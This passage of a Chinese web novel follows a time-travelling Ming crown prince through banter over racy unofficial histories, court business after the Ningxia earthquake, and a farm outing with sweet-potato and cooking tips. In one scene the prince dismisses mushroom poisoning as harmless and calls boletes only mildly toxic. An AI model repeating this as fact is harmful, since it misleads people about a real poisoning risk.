听到这儿,彭时嘴巴微微一抽,干巴巴的说。“太子殿下你忘了, 白宗玉(白圭)那老小子的小儿子,在翰林院当差, 这月轮到他在藏书阁当值,而白纵横(白钫)绰号逍遥居士。” 朱佑棱:“” 朱佑棱这下子总算想起自己为什么觉得‘逍遥居士’熟悉了,倒不是因为李逍遥、逍遥哥哥,而是 朱佑棱跑去藏书阁找书看, 带回去的几本野史,还是白纵横(白钫)那丫的亲自找给他的。 先不说他一个孩子,看这么野的野史有没有问题,但白纵横的行为而言,说实话挺像穿越者的。 不然好好地怎么就把这样的野史给他了。 “太子殿下,老夫能问问白纵横写的什么野史?”彭时有些和蔼的问。 “孤一共拿了5本,还都分上下两册。”朱佑棱开始背书名。“《大辽野史》《大辽萧太后与宋|太|祖不得不说的三两事》《大唐李后主传》,《南宋名臣记》以及《大金野史》孤目前正在看《大辽野史》!” 不念叨书名不觉得,一念叨书名,更加觉得字纵横,叫白钫的逍遥居士是穿越者。 《大辽野史》和《大金野史》《南宋名臣记》还将就,可那《大辽萧太后和宋|太|祖不得不说的三两事》,不正是后世喜欢用‘震惊体’写小作文的文艺工作者爱干的事情嘛! 不行!得找个机会好好的试探一番。 彭时:“不知那本《大辽野史》野到什么程度。” “啊,就是大辽摄政王通过皮燕子一步步走上高位。”朱佑棱手捧腮帮,“其实还好,孤看了觉得逍遥居士还不够大胆,他该借鉴一下嫪毐的能耐,钩子下毒什么什么滴!” 彭时:“” “太傅,你觉得如何?”朱佑棱转而询问彭时。 彭时一脸崩溃,不知道该骂写些倒灶玩意儿的白纵横呢,还是该骂小小年龄,就知晓男人有龙阳之好的朱佑棱尽看倒灶玩意儿。 “太子殿下”彭时崩溃的提醒。“你现在才7岁,正是学习的时候。可不能看一些乱七八糟的书,免得移了性情。” “那不会。”朱佑棱直截了当的表示。“孤的自制力孤清楚。野史而已。在孤看来,野史要够野,才能为野史。如果不写的话,岂不是正史了。” 彭时叹气,抹了一把脸后,让朱佑棱选择性的挑一篇文章抄写,自己则思索要不要找白圭那老小子告状,让白圭那老小子好好管教儿子。 即便写的是野史,也不能胡编乱造啊! 彭时越想约觉得胸口疼,然而朱佑棱则十分开心的抄写文章。 别以为朱佑棱不知道,读书人很多都男女通吃,不然怎么会有‘龙阳之好’‘分桃断袖’等成语,以及‘锲兄弟’‘小倌儿’等说法。 他倒是直男,只喜欢女生,但朱佑棱并不反感男女双吃的男人,只要不妨碍他,朱佑棱一贯不予理会。 朱佑棱最大的惊讶,也不过是写野史的家伙,居然认识什么的。 很快朱佑棱抄写完一篇文章,彭时也喝好茶吃好点心,便宣布下课。 彭时急匆匆的出宫,朱佑棱则没有直接回安喜宫,而是跑到藏书阁,找这个月的书吏官白纵横说话。 “白卿,你写的野史真够野的。”朱佑棱背着手儿,感叹的说。“孤真是万万没有想到,原来白卿如此有才华。” 白纵横拱手行礼问好。“太子殿下谬赞,微臣只是合理的艺术加工,毕竟微臣写的是野史,而不是正史。” 朱佑棱若有所思的点头。 “艺术加工嘛,孤懂。”朱佑棱顿了顿,突然道。“除了《大辽野史》外,其他四本,也艺术加工了。” “自然是的。”白纵横道。“毕竟是野史,需要艺术加工。要够野,才能算野史。” 朱佑棱赞同白纵横的观点,因为朱佑棱也是这样认为的。 野史要够野,才是野史。不够野的话,野史根本就传播不开来。 “在翰林院待满三年,便可申请到地方任职,孤想起白卿已经在翰林院带了四年,就一直没动到地方做父母官的想法?” 白纵横却是苦涩的摇头,还道。“还请太子殿下饶恕,微臣没有太子殿下以为的那样有才。” “不啊,从你写的野史就能看出来,白卿你是个十分有想法的人。”朱佑棱不走心的夸奖道。 虽说一个小豆丁夸奖成年人的场面,有点儿滑稽。但是呢,朱佑棱一直对外展现的人设,都是聪慧异常,且嘴巴毒! 如此场面,滑稽归滑稽,但说起来还挺不错的。最起码白纵横并不觉得自己被小孩子表扬了很尴尬。 “孤会努力将白卿写的5本野史都看完。”朱佑棱突然道。“不过白卿,孤是经过彭太傅的提醒,才知晓白卿就是逍遥居士。现在彭太傅急匆匆的出宫去了,孤想来,彭太傅应该是去找白太傅说白卿的有才。” 白纵横:“” 突然有种会被亲爹将腿打断的预感! 白纵横倒吸一口凉气,神色变得忐忑无比。 朱佑棱自觉自己跑来藏书阁的目的已经达成,就笑嘻嘻的丢下魂不守舍,脑补自己已经被亲爹打了10大板的白纵横,回安喜宫去了。 说真的,自从周太后前往闽南‘投奔’小二子朱见泽后,后宫的气氛一下子大变样,在万贞儿的管理下,整个紫禁城看起来特别的和谐。 而朱见深呢,没有周太后时不时招他去骂的名场面,先是不习惯了几天,然后习惯了后,简直想把朱见泽‘焊死’在封地,拖着周太后不让他回京。 这不,朱佑棱刚进殿,就看到朱见深四仰八叉的躺在美人榻上,优哉游哉的一边看着闲书一边吃着果脯点心。 不过 大辽萧太后和宋|太|祖不得不说的三两事 朱佑棱深呼吸一口气,没好气的说。“父皇,这书是孤的吧!” “看看。”朱见深不在意的挥了挥手,还道。“别说,这样劲爆的野史,朕看了简直觉得不可思议。” 朱佑棱:“咋了,萧太后和宋|太|祖真的有一腿儿?” 朱见深:“写得像那么一回事儿,但感觉又不是那么一回事儿。” 朱佑棱伸手拿起一块绿豆糕就吃了起来。 “算啦,反正是野史,就不要纠结那么多了。”朱见深自我攻略完成,倒是看着朱佑棱那仿佛看稀奇的眼神,让朱佑棱深深觉得,自己貌似被鄙视了。 “父皇,看乱七八糟的野史书可以,但不能将野史当成正史来看。”朱佑棱强调道。“其实多看点史书挺好的,看得多的话,不止变成书呆子,还长了脑子。” “别阴阳怪气的。”朱见深警告说。“小心朕揍兔崽子。” “父皇揍兔崽子,关鹤归什么事。”朱佑棱翻白眼,根本不把朱见深的威胁放在心上。 “嘿,臭小子!” 朱见深刚要说什么,万贞儿亲手端着一碗冰镇过的冰糖燕窝羹进来。 “怎么了这是?”万贞儿瞥了儿子一眼,又递给朱见深一个“发生了什么事”的询问眼神。 朱见深顿时抓住机会告状。 “贞姐,鹤归又欺负朕。” 正准备阴阳怪气的朱佑棱小脸一垮,没好气的说。“父皇,你不要仗着娘亲爱你,就故意说这些话来博取娘亲的心疼。” “今天朕一定要亲自动手揍你。” 朱见深开始玩袖子,正要动手的时候,先前将燕窝羹放下的万贞儿赶紧拉着朱见深坐到榻上,又再次亲自端起那碗燕窝羹,用银勺搅了搅,递到朱见深的嘴边。 “深郎,你是大人,怎么能跟孩子置气。”万贞儿柔声道。“鹤归你也是,好好跟你父皇说话不行。” 朱佑棱瘪嘴,却老老实实的应了一句。“娘亲,儿子知晓。” 朱见深就着万贞儿的手喝了一口甜羹,冰凉清甜的滋味似乎浇灭了一丝心火,但朱见深本身心情就挺不错。 “贞姐,朕其实也有错,不该时不时逗鹤归。”朱见深果断认错,还顺便窝在万贞儿的怀中蹭了蹭! “哎,娘亲,儿子也有错。”朱佑棱跟上,也开始道歉。“儿子不该时不时就和父皇抬杠,明明知晓父皇说不过儿子,也不知道让一让父皇。” 朱见深:“” 臭小子!有时候真的想亲自动手揍你一顿。 “好啦,快尝尝这燕窝羹,我亲自动手煮的。” 万贞儿笑语晏晏,拿过宫人递来的白瓷碗,将燕窝羹一分为二。自然一碗属于朱见深,另外一半则属于朱佑棱—— 作者有话说:更新o(* ̄︶ ̄*)o 第66章 第066章 时间总是飞速流逝,特别是…… 时间总是飞速流逝, 特别是在父子俩吵吵闹闹,友爱互动的时刻,那真的如白驹过境,眨眼的功夫, 朱佑棱就从孩子, 变成了俊俏的少年郎。 如今已是成化十三年。历史上这一年可不得了, 发生多起重大历史事件, 涉及政治、军事、文化与自然灾害等多个领域。 陕西宁夏卫地震, 禁私铸铜钱等等, 还正式设立西厂, 由汪直担任第一任厂督。 朱佑棱成化二年出生, 如今成化十三年。按照虚岁来算, 朱佑棱如今12岁。 成化五年(公元1469年)出生的朱佑极,奇迹般的没有夭折。那可以预见的是,历史上朱佑极的夭折,大概与生母有关。 哪怕这儿的朱佑极,他的生母是白才人, 但比起历史上朱佑极的生母柏妃来, 都不逞多让。都是会作的,并且还喜欢疑神疑鬼,觉得总有坏人想害她。 朱佑极周岁过后就和几个月大的朱佑樘一起被送去皇子所, 由内务府拨的乳娘、宫人照顾,白才人和季才人要想去看, 都要打报备,白才人和季才人估计嫌弃麻烦,也就没有往皇子所跑,导致在没有生母的干扰下, 朱佑极和朱佑樘都茁壮成长,没有出现夭折的情况。 而在他们茁壮成长的过程中,朱佑棱又有了一个异母弟弟以及异母妹妹。 异母妹妹成化十年出生,目前两岁半,生母王才人。异母弟弟朱祐杬,排行四,成化12年出生,生母邵才人。 历史上的朱祐杬乃明睿宗,被亲儿子追封的。原因嘛,明孝宗朱佑樘的儿子朱厚照无嗣又早死,皇位就抓阄一样传给了朱厚熜。而朱厚熜上位,追封生父‘兴献皇帝’,庙号睿宗。 从成化六年开始到成化九年,5年的时间里,宫里都没有传出喜讯。这可不是万贞儿特意控制的结果,而是朱见深有很长一段时间,都在修身养性。 换句话说,朱见深在修仙,并且还影响了万贞儿,跟着一并在修仙。 作为真爱结晶的朱佑棱没有跟着修仙,倒不是朱见深、万贞儿这对帝妃二人组不愿意带上,而是 从朱佑棱7岁开始,该朱见深做的工作,都一股脑甩给了朱佑棱处理,完全不在意朱佑棱还是个孩子,反正就尽情的压榨童工。 批阅奏折,参与处理政务,以及还要继续前往上书房读书,偶尔还得找武师傅学习武艺强身健体,别以为看似事情不多。但真的已经将朱佑棱的白天的时间都涵盖住了。 更别说,朱佑棱的妈宝属性,让朱佑棱一日三餐外加宵夜,都要在安喜宫吃。要是误了饭点,也是小翠和小红亲自送来。 朱佑棱这一行为,看在朱见深的眼中,直接评价为谨慎。实际上,朱佑棱就是‘恋家’,觉得安喜宫小厨房做的膳食好吃,而御膳房 为了避免麻烦,御膳房准备的膳食,都是早早做好温着,一般送去各宫,膳食已经变得半冷不温,味道方面自然变得不是那么好。 不过这味道变得不是那么好,属于相对的!实际上御膳房做的膳食,味道都挺不错,符合大众口味。就是偏油腻。热的时候,吃起来还好。一旦半冷不温的时候,那油腻的口感,真的让人喉咙都糊住,根本就咽不下去。 如今朱佑棱惯常待的地方,便是乾清宫。而乾清宫的主人,朱见深同志呢,惯爱待的地方则是安喜宫。时间久了,朱佑棱就感觉自己已经提前成了乾清宫的主人。 “今天孤批阅了多少奏折?” “回禀殿下,一共93本折子。”汪直躬身回答,让朱佑棱一时间不知道高兴还是不高兴。 反正这么多年锻炼下来,朱有棱批阅奏折的速度,越发的迅速。没有任何技巧,唯手快尔。 “宁夏卫那边地龙翻身怎么说?”朱佑棱脱口而出,随即想到貌似自己批阅了那么多的奏折,貌似连陕西那边送来的折子,都没有提到宁夏卫地震,不免心神不悦。 “罢了,孤问你有什么用。”朱佑棱嘟囔一句,又道。“父皇呢,孤拿体弱多病,总希望娘亲时不时亲亲抱抱的父皇呢!” “回禀殿下,万岁爷想必这个时候,正在安喜宫歇息。” 朱佑棱:“倒是忘了,孤那柔弱的父皇,最近一段时间都在安喜宫歇息。” “将孤分好的奏折送去内阁。”朱佑棱又道。“明儿早朝议题,就谈论宁夏卫地龙翻身一事。” “好的太子殿下,奴婢这就亲自将奏折送去内阁。” 汪直随即告退,亲自将已经分类,并且已经批阅了的奏折送去内阁。 陕西宁夏卫,后世的宁夏银川市,在四月初一这天,遇到了百年难得一见的地龙翻身,也就是地震。 据传地震发生的时候,地壳撕裂声犹如打雷,并且持续了好几秒钟,之后,当地的城墙有八十三处都倒塌了。 而靠近宁夏卫的陕西和甘肃一带,不仅听到了像打鼓声一样的“天鼓鸣”,还感到了地面颤震。 并且地震后,地上长出了白毛,是一种地震后常见的自然现象,一般是丝状矿物或霉菌。 并且地面开裂,刚好开裂的地带,拥有丰富的地下水资源,这一开裂,大量的地下水喷涌出来。 据当时在场的差役说,喷涌出来的地下水,足足有四五尺高,并且还带出了青、红、黄、黑四种颜色的泥沙。 哦!青、红、黄、黑四种颜色的泥巴加上金沙,被当成祥瑞送来了京城,誉为五色土。 目前那五色土被装进透明的琉璃瓶中,真·祥瑞供起来。 而此次地震,其实影响范围非常广。凉州、甘州(今张掖)、巩昌、榆林、延绥,以及整个“三边”地区(三边指延绥、宁夏、甘肃三个边防重镇区域)都有震感。 除此之外,辽东的沂州、郯城、滕县、费县、峄县等地也发生了地震。 也就是说这次地震,除了波及面积大外,强度也十分的大。房舍被毁无数,朝廷已经下令免除遭遇强烈地震的地区的赋税,现在该谈论的是如何赈灾。 其实朱佑棱一直不知道,这有什么好谈论的。遇到天灾,自然该赈灾就赈灾该重建就重建,还讨论 反复讨论又讨论,难道结果会变成不赈灾不灾后重建?既然结果已经明显,那就没必要浪费时间讨论,直接做就行了。 就像几年前江南沿海一带发生水灾海溢一样,如何赈灾,该派哪些人作为钦差前往灾区赈灾的问题,吵了差不多三天,吵到朱见深直接生气,这才算完。 这回不知道要吵几天! 想到这个,朱佑棱的心情就开始有点儿不好,特别是当他以为奏折送到内阁,觉得自己可以休息的时候,嘿,万安出现,说该上课了。 朱佑棱:“” “孤觉孤学得够多了。”朱佑棱没好气的说。“孤从四岁开始学习,到如今年十三岁,你们读书人喜欢读的四书五经,孤都看过。孤不觉得孤要像读书人那般,四书五经读一辈子。孤该学的,永远都是帝王之术。可惜,父皇不太懂,只能孤自己摸索。” 万安这个时候,一向挺‘口笨舌拙’的,这不听朱佑棱这样说,反倒顺着朱佑棱的话说。“殿下有此雄性壮志,十分的好。殿下继续保持,可该进行的学习,还是得进行。” 朱佑棱:“抄写文章?” 说到这儿,朱佑棱摇头失笑,“批阅奏折已经够烦了,还抄写文章,不要,孤坚决不要。万太傅,你不能看着孤好说话,就欺负孤。” 万安哑然失效,倒真的没有继续游说朱佑棱学习,就好像他先前所说的话语,只是为了走个过场。 可不是走个过场嘛,如今三大辅臣李贤、彭时、商辂,只剩彭时,而如今内阁七阁老,旧人只剩万安、杨鼎以及彭时,白圭 后期的‘纸糊’三阁老的刘吉以及 刘珝顺利进入内阁,再加上接任李贤位置的陈文 ,内阁重新又满了七人。 说实话,成化前期,真的有赖李贤、彭时、商辂三人,才能让史政清明。而继任者,说实话他们的能力,比不上李贤、商辂二人,但月有阴晴圆缺,人有旦夕祸福,什么时候出意外,谁又能预料得到。 索性现有的7位内阁成员,除却脾气刚直的彭时、白圭外,其余者,嗯,还挺圆滑。 总之给朱佑棱的感觉就是和万安一路货色。 朱佑棱想到此处,瞄了万安一眼。 “万太傅不去内阁处做事情,怎么有空跑来监督孤了,莫非是想借机溜达溜达。” 万安:“殿下说笑了。” 说着,万安随着朱佑棱往内阁所在宫殿走去。 除了内阁外,六部的办公地点,都设在紫禁城外,不过距离很近。有特殊的便捷通道,方便六部官员入宫禀告要事。而内阁所在的建筑物,就在便捷通道的中间位置—— 作者有话说:隔壁女帝已开,保持日更~~~[狗头叼玫瑰] 第67章 第067章 内阁设在那里,最主要的其…… 内阁设在那里, 最主要的其实是方便,毕竟内阁的性质,就是官员的领导者,他们和皇帝共同商量, 处理国家大事。像后期万历皇帝几十年不上朝, 大明依然蒸蒸日上, 整个朝廷不正是内阁大臣们共同努力的结果。 朱佑棱不太喜欢大明的文官, 那是因为大明后期的东林党太能霍霍了。 而大明中期, 不管是武将还是文官, 都挺靠谱。哪怕有小心思, 基本不会和通敌卖国沾惹关系。 特别内阁的大臣, 不管能力与否, 做事情都挺认真的。 像万安,后世对他的评价不太好,说他凭借裙带关系上位的。但实际上,小老头还挺有实力的。 朱佑棱去内阁转悠一圈,本来准备又去六部看看, 没曾想, 还没有走到六部呢,就被守着宫门的侍卫拦住。 “殿下,今日可是要出宫?” 朱佑棱:“随便走走, 不一定要出宫!” 话这么说,但是呢, 朱佑棱跑回安喜宫换下身上所穿的杏黄颜色的太子朝服,换上常服,带上铜钱出宫去了。 目的地并非六部,而是京郊皇庄。 今年开春, 位于京郊以及天津卫的皇庄,都种满了时兴的舶来作物。玉米、马铃薯以及红薯。 水稻和小麦,皇庄都没有种植。倒是京郊除皇庄以外的农户,绝大部分人家,种的都是水稻。 “水稻是从安南郡那边特意选育的良种。”陪同的农官细细的说着,今年春耕夏种的安排。 朱佑棱听得很认真,没有胡乱插言,只说红薯的叶子可以当蔬菜吃。 “和豆菽一样,挺好吃的。”朱佑棱笑着道。“孤记得去年,御膳房的就经常做一道酸辣爽口的凉菜。据说就是用红薯叶焯水做的。” “连太子殿下都喜欢吃,想来推广开来,定然会受到老百姓的喜爱。”农官恭维的说,还顺道问了一句今日的午膳怎么安排。 “就在附近的农家吃。”朱佑棱开口道。“不用准备太丰盛,粗茶淡饭亦可。孤不是什么娇气的人。” “正巧昨儿下了一场小雨,今日天气不错,附近的山林在夏天的时候,每日都会冒出不少的蘑菇,山珍海味,不如去山林采蘑菇如何?”一直跟着的铜钱,突然出声道。 “可以啊。”朱佑棱没有拒绝,还道:“顺便铜钱你可以打猎,哦!孤想吃叫花野鸡,你多打点野鸡,等回宫给父皇、母妃带两只烤好的叫花野鸡回去。” 正巧走到一处池塘旁,夏荷在池塘里生长,荷叶碧绿,夏荷粉嫩,偶尔有蜻蜓飞过,停到了嫩嫩的芽尖儿上。往池塘里看去,甚至可以看到欢快的鲫鱼游来游去。 郊外的皇庄,占地面积都挺不错。里面的农户,也算军户,只是以种田为主,各家各户会出一人入伍,没有农税田税等等税收,是平民百姓,却也算直接为皇家做事的人。 朱佑棱来到的这处皇庄,以种植红薯为主,还种了点玉米和水稻,还挖了几个池塘,池塘里种了莲藕,还养了不少的鲫鱼。 山林的植被,不算茂密。这是经常有人活动的关系,很大高大的树木已经砍伐,用来制作家具。 朱佑棱领着人进去林子,没走几步,就有野鸡扑面。 朱佑棱顿时乐了。“快,铜钱,上。” 铜钱哭笑不得,却很听话的上前,将野鸡直接活捉,并用绳子捆了,交给其他人。 走了没一会儿,又有野鸡钻出,铜钱快速上前,又将野鸡活捉。如此一来二往,不一会儿的功夫就抓了差不多10只野鸡,并且只只都挺大。 朱佑棱意识到了不对。 “这是家养的野鸡?”朱佑棱猜测道。“养得还挺肥。” 铜钱也笑,哈哈大笑的笑。 “对啊,家养的野鸡。”铜钱道。“抓第二只的时候,我就发现了。在我印象里,野鸡和兔子虽然很好捕猎,但并没有这么容易,殿下发现没有,我都是徒手抓的。” 朱佑棱:“” 即使是家养的,朱佑棱表示,自己徒手抓,大概也抓不到! 不过没事儿,他不需要亲自动手。只要他不哼声,谁知道他看似文武双全,实则文不就武不行的。 朱佑棱双手背于后,突然开口道。“对了,我们不是来采蘑菇的吗?怎么光抓野鸡了。” “回太子爷,蘑菇采了。”回话的那人是跟着一块儿来的侍卫,铜钱跟着朱佑棱保护,而其他人则按照朱佑棱先前说的,采蘑菇摘山货。 别说,雨后的山林的确很多蘑菇,松茸、榛蘑以及红菇、鸡枞菌、猴头菇等等蘑菇,随处可见,只是一小会儿,分散开来捡山货的几名侍卫,就捡了很多的蘑菇,带来的箩筐背篓,根本就装不下。 还有野生的木耳,一些叫不出来名字,但味道很好的野果子,也都被采摘并且清洗干净,等着带回去给宫里的朱见深、万贞儿尝尝鲜。 “一会儿捞几条鲫鱼,和蘑菇一起煮汤。”朱佑棱觉得够了,就打道下山,边走路还边安排今儿中午吃什么。 “野鸡的话,拿两只做小鸡炖蘑菇,再烤几只叫花鸡。对了铜钱,你知道叫花鸡的做法吧!” “知道。”铜钱回答,挺懒洋洋的。不过朱佑棱没在意,他本人要是可以的话,回更加的懒洋洋。 今儿出门纯粹就是临时起意,在四四方方,高墙耸立的紫禁城待烦了,临时起意出来走走。 没走远,就到郊外的皇庄走走看看,绿水青山带笑颜,一切的一切都那么的生机勃勃。 看到此景此物,心情都变得美丽了不少。 “再去附近农家买几只鸡。”朱佑棱又道。“再捞些鲫鱼,等回宫让人做鲫鱼汤喝。” “鲫鱼汤好像是下奶的。” “???”朱佑棱看着睿智的铜钱,不免惊呼。“没想到啊,铜钱,你具体知道鲫鱼汤可下奶呢!” 铜钱:“” “还有什么下奶?”朱佑棱笑着问。“说几道菜肴让孤听听。” “黄豆炖猪蹄?炖鸡?” “差不多吧!”朱佑棱却道。“其实没有什么专门下奶的食物,能下奶不过是油水足。有的妇女生完孩子后没奶,不管怎么吃下奶的食物,都没有奶。” 当初万贞儿其实就是这种情况,不单单是上了年龄的缘故。而且吧,说句玩笑话,朱佑棱鲫鱼汤喜欢喝,黄豆炖猪蹄也喜欢吃。 “太子爷,你瞧,那便挺热闹的,貌似正在杀猪。”铜钱的好兄弟,银锭突然出声,貌似对那边的动静挺心动的。 朱佑棱:“杀猪?你想去看?” “是挺想的。”银锭乐呵呵,还问起金砖来。“老大,你是不是也想去看。” 金砖是成化初年的武状元,本名姓金,至于名字,是为了配合锦衣卫出身的铜钱,特意改的名。 金砖、银锭、铜钱,他们三人都是跟着朱佑棱的大内侍卫。至于太监,朱佑棱目前身边得用的,也就汪直一人。 朱佑棱不像其他大明皇帝,对宦官有一种天然的信任。之所以会选择带着铜钱他们三人,最主要的一点,还是在于朱佑棱觉得,在紫禁城里还好,可出了紫禁城在京师四处走动,跟着太监的话,就不太方便。 不是歧视,而是太监吧,他本身就异于寻常男子。他们或多或少说话的时候,喜欢翘兰花指。 而且声线方面,不像男人,更趋于女性化,却又没有女子的柔美。如果朱佑棱带着太监在京师四处走动,很容易会被看出身份,达不到朱佑棱想要的,微服出巡的结果。 综合上述,所以朱佑棱起了兴致,出宫走动的话,身边一边明跟着铜钱,暗地里跟着金砖以及银锭。 像这回,不止铜钱他们三人跟着,还有其他的大内侍卫跟着。 “去吧,你们都去看。”朱佑棱背着手儿,慢悠悠的走着。“顺便问问只是杀猪?还是杀猪之后要准备杀猪菜。” “杀猪菜?”跟着朱佑棱的农官一脸惊愕。 “没听说过?” 农官摇头,“下官没有听过。不过太子爷说了,想必是有的。” “太子爷,杀猪菜怎么做的?”铜钱凑过来好奇的问。 “怎么问起孤这个了。”朱佑棱倒是没生气,反而还挺好脾气的开始回忆。 “好像是杀了猪,猪血装血肠,和着酸菜、猪五花还有猪心猪肺猪排骨猪大骨什么的一锅煮。” “能好吃?” 朱佑棱回忆起上辈子吃过的东北大乱炖,认真的点头。 “挺好吃的。” “那小的”铜钱怦然心动,“小的亲自动手试试。” “啊对!”朱佑棱突然想起铜钱貌似在勾搭他的小翠姑姑,而银锭也在勾搭他的小红姑姑,不免陷入沉思。 “你会做菜?小翠姑姑要求的?” 铜钱:“其实太子爷你信吗,小的挺喜欢下厨的!” 朱佑棱眨眨眼睛,“不信。就小翠姑姑的凶残指数而言,孤更相信是小翠姑姑要求你学厨,以后好伺候好孤!”—— 作者有话说:更新o(* ̄︶ ̄*)o 第68章 第068章 铜钱笑笑,感觉还挺腼腆的…… 铜钱笑笑, 感觉还挺腼腆的。 朱佑棱觉得,铜钱就是凭借此,抢走了他的小翠姑姑。 ——呸!心机男! “不是说想自己动手做杀猪菜嘛。赶紧的。”朱佑棱哼唧,挥手让铜钱赶紧去动手。 铜钱算是没有说假话, 他本人还真就比较喜欢自己动手整治几道吃的。 或许味道朴实无华, 但别说, 铜钱是挺能干的小伙子, 动手做的杀猪菜, 味道还真不差。 单是按照朱佑棱口述所制作出来的杀猪菜, 味道就着实不错。咸香入味, 吃着杀猪菜, 朱佑棱比平时都多吃了差不多一碗饭。一共三碗白米饭, 肚子吃得溜圆。让铜钱见了,都忍不住吐槽。 “怪不得别人抽条,而太子爷你,从来都是横向发展。” “你是不是想挨揍!”朱佑棱黑脸。“什么横向发展,难道孤没长高?” “太子爷如今十三, 自然要长高。只是太子爷, 您在长高的同时,体重也在飙升。” “那孤没办法,孤的祖宗就是个胖子。” 想想明仁宗朱高炽, 虽然在位仅十个月,但以其肥胖的体型和宽厚的仁政在历史上留下了深刻印象。 他不就遗传了高祖父的体型嘛, 有啥好大惊小怪的!最多以后再学学仁宗皇帝朱高炽的宽厚仁政,争取做个有原则的抄家皇帝! 嘻嘻! 抄家皇帝! 还是有原则的抄家皇帝,他超喜欢! “孤并不觉得孤胖,孤就愚笨不堪。”朱佑棱一言难尽的看着铜钱。“看看孤的父皇, 难道不胖?” 朱见深得亏皇帝的身份,才能成为微胖界的顶流,而朱佑棱,拥有太子身份的他,自然也是下一届微胖界的顶流。 “行了,别解释了,孤懒得听。就这样,将剩余的,嗯,叫花鸡拎上,带回去给父皇和母妃加餐。” “好嘞!” 铜钱麻溜的跑了,金砖和银锭已经在收拾,朱佑棱背着手儿站在田埂边缘处,看着绿油油的田野。 这一片种植的都是红薯,红薯藤已经长出来了,数量超级多,绿油油充满生机。 看着看着,朱佑棱的脑袋瓜子突然‘嗡’了一声。 等等! 他总算想到自己忘了什么! 红薯除了直接种植红薯块外,还可以育苗移栽。就是在薯苗长到15-20厘米长时,轻轻拧下或剪下,用以移栽。 移栽的话,也挺简单。主要注意两点。一点是,先在垄上挖浅坑,间距约25-30厘米。 然后将将薯苗水平或斜向放入土中,只露出顶端几片叶子和生长点。 这种“船底式”或“斜插法”栽种,能让薯苗在多个节位结薯,增加产量。 最后轻轻覆土,浇透定根水,红薯苗的移栽就完成了。 朱佑棱拍拍脑门,这么重要的事情,怎么就忘了呢。光是红薯切块种植,藤蔓长得倒是茂盛,可红薯藤蔓茂盛了,结的红薯自然也小。 亩产几千斤不可能,抠抠搜搜也就一千斤左右的产量。 不过及时疏藤,掐苗移栽,能提高产量的。再加上及时使用农家肥,想必今年的红薯产量在每亩800斤至1000斤左右的基础上,再翻一倍。 “那个金砖,去把农官叫来。” 朱佑棱招来金砖,让金砖去请农官来,很快擅长种地的农官被叫了来。 朱佑棱看到农官后,也没有拐弯抹角,而是直截了当的将‘育苗移栽’的方法,详细告之。 最后还道:“先试验一番,如果可以,下次再种红薯的时候,就采取‘育苗移栽’的方法。” 农官谨记,恭送朱佑棱一行人离开后,倒也没有阳奉阴违,而是按照朱佑棱说的,找了20亩田地,开始移栽红薯苗。 成化十三年久旱,不过京师一带倒还好,河流湖泊数量够多。就连没有河流小溪流淌的村落,也会挖掘池塘。一来养鱼种藕,二来也为了蓄水,好在干旱时节有充足的水源灌溉农田。 就朱佑棱所知,后世的新时代农村,都会隔几百米就会修建蓄水池,用以缓解灌溉用水。 而京师一带特别是郊外的皇庄村落,都采取的修建蓄水池,养鱼种藕蓄水好灌溉模式。 挺让朱佑棱佩服,却又理所当然,老祖宗们的智慧,远非后世人能比。 “孤怎么感觉很久没下雨了。”回去的路上,坐在马车里品茗的朱佑棱突然出声道。 坐在马车外边,客串赶车的车把式的铜钱开口,回答说。“殿下,昨儿才下了雨。” 朱佑棱:“哦对,孤倒是忘了。” “那雨大概下了一炷香的时间。”铜钱又道。“很小的雨势,连地面都没有完全打湿,不过细雨过后,山林里的蘑菇长势不错。” “的确不错!”朱佑棱深以为然的附和。“所以孤才让将捡的蘑菇全捎上,一并儿带回宫给父皇娘亲好好尝尝山珍。” “万一有毒呢!” 朱佑棱:“” “你闭嘴。”朱佑棱直接开骂。“你说说你,好好的一个人,怎么就长了一张嘴。都跟着孤那么久了,什么话该说什么话不该说都不知道?还中毒?菌子中毒有什么好怕的,不过就是见小人而已。” 铜钱果断道歉,还补充一句。“猴头菇,榛蘑一定没毒。” 这不是废话嘛! 有毒的是牛肝菌!但只是微毒,而且中毒反应千奇百怪,说不定小小的老子吃了牛肝菌没有看到狗说话,小亲爹吃了后就能看到猫咪给他一起劈叉跳秧歌呢! “放心吧,孤很有眼力,没毒,绝对没毒。”朱佑棱哼了哼,又补充道。“这里是京师,不是大理。那里的菌子吃了才容易躺板板。” “躺板板?” “别废话,赶紧滴,孤还等着回去,和父皇娘亲分享美味呢!” 铜板听话的驾驶马车往宫门的方向赶去。也是巧了,再一次经过珍馐斋的时候,铜钱应朱佑棱的吩咐去买糕点,又碰到了淳安郡主府的人。 这一回,淳安郡主府的人都挺规矩,等铜钱买完糕点,已经没了淳安郡主想吃的那款糕点,也没有狗仗人势,说‘相让’的话,而是另买了其他糕点。 看到这一幕,朱佑棱挺诧异的,等回去后,还对朱见深说。“可见淳安姑姑是受到了教训,父皇打算恢复淳安姑姑的公主封号?” 朱见深:“恢复?恢复什么?当郡主不好?” “倒不是不好,毕竟是皇祖父的女儿嘛。”朱佑棱假惺惺的道。“知错能改善莫大焉,说不定淳安姑姑已经知道错了呢!” “等鹤归你继承皇位后,再说恢复淳安公主封号的话吧!” 闻言朱佑棱却是瞪圆了眼珠子:“父皇,你这是转嫁矛盾。” “胡说八道,什么矛盾!这不是你做儿子的该做的。”朱见深哼哼,还道。“朕当太子的时候,可没你那么走运。” 朱佑棱:“” ——孤走运,那是因为孤的亲娘是万贞儿,而老登儿你,谁让你亲娘是酷爱作妖的周太后呢! “父皇咱们好好说话,怎么能一言不合就人身攻击呢!”朱佑棱没好气的说。“孤现在没那个心思,孤想说孤就是那个让人羡慕的幸运儿。父皇再做比较,也是没法比的。” 朱见深:“” 只见他危险的眯起眼睛,刚想动手的时候,朱佑棱动作超级麻溜的往万贞儿的身边跑。 “娘亲,你看看父皇,都一大把年龄了,还这么幼稚。”朱佑棱挺无奈的摊手。“孤其实很想让一让父皇的,但谁还不是宝宝呢!” 万贞儿噗呲一声,笑得十分的灿烂。这下子挺生气的朱见深顿时变得委屈满满。 “贞姐”朱见深委屈的撒娇。“都是这兔崽子的错,你看看他的言行举止,哪里把朕这个父亲放在眼中。” “哪里,鹤归明明很尊重深郎。”万贞儿安抚道。“只是鹤归年龄大了,深郎再‘兔崽子’‘兔崽子’的喊,怕是有点儿不妥。” “哪里不妥?”朱见深故作不明白的问。“贞姐,这是朕表达对鹤归的爱,的一种方式。” 朱佑棱:“” ——信你的邪,你这糟老头子坏得很! 